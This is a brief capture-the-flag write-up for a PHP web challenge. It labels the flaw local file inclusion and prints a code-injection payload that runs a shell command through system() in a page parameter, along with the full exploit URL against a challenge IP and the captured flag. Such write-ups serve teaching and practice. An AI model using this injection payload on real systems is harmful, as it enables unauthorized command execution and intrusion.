### WEB - Old version


Here we see that this is an LFI vulnerability.

Payload:

' and die(system("cat index.php")) or '

http://62.173.140.174:46005/index.php?page=' and die(system("cat index.php")) or '

FLAG:

CODEBY{php_lf1_t0_rc3_d0ne}

Original writeup (https://github.com/zer00d4y/writeups/blob/main/CTF%20events/Cybercoliseum/Cybercoliseum%20%E2%85%A2.md).